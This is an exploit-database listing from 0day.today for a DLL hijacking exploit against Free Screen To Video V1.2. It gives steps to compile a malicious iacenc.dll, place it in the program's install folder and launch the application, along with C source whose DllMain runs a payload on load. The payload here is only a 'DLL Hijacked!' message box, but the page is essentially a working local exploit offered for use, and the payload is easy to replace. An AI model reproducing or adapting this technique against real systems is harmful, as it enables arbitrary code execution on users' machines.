[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Free Screen To Video V1.2 DLL Hijacking Exploit (iacenc.dll)

Author
Metropolis
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15618
Category
local exploits
Date add
17-03-2011
Platform
windows
/*
# Exploit Title: Free Screen To Video V1.2 DLL Hijacking Exploit (iacenc.dll)
# Date: 15/03/2011
# Author: Metropolis
# Url: http://metropolis.fr.cr
# Software Link: http://www.koyotesoft.com/appli/Setup_FreeScreenVideo.exe
# Version: V1.2
# Tested on: Microsoft Windows XP Professional SP3 (FR)
# Instructions:
# 1. Compile dll  
# gcc -shared -o iacenc.dll FreeScreenVideo.c
# 2. Add iacenc.dl
# C:\Program Files\Free Screen To Video
# 3. Launch FreeScreenVideo.exe
# 4. MessageBox DLL Hijacked! 
*/
#include <windows.h>
 
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        dll_mll();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
 
    return TRUE;
}
 
int dll_mll()
{
    MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}



#  0day.today [2024-12-28]  #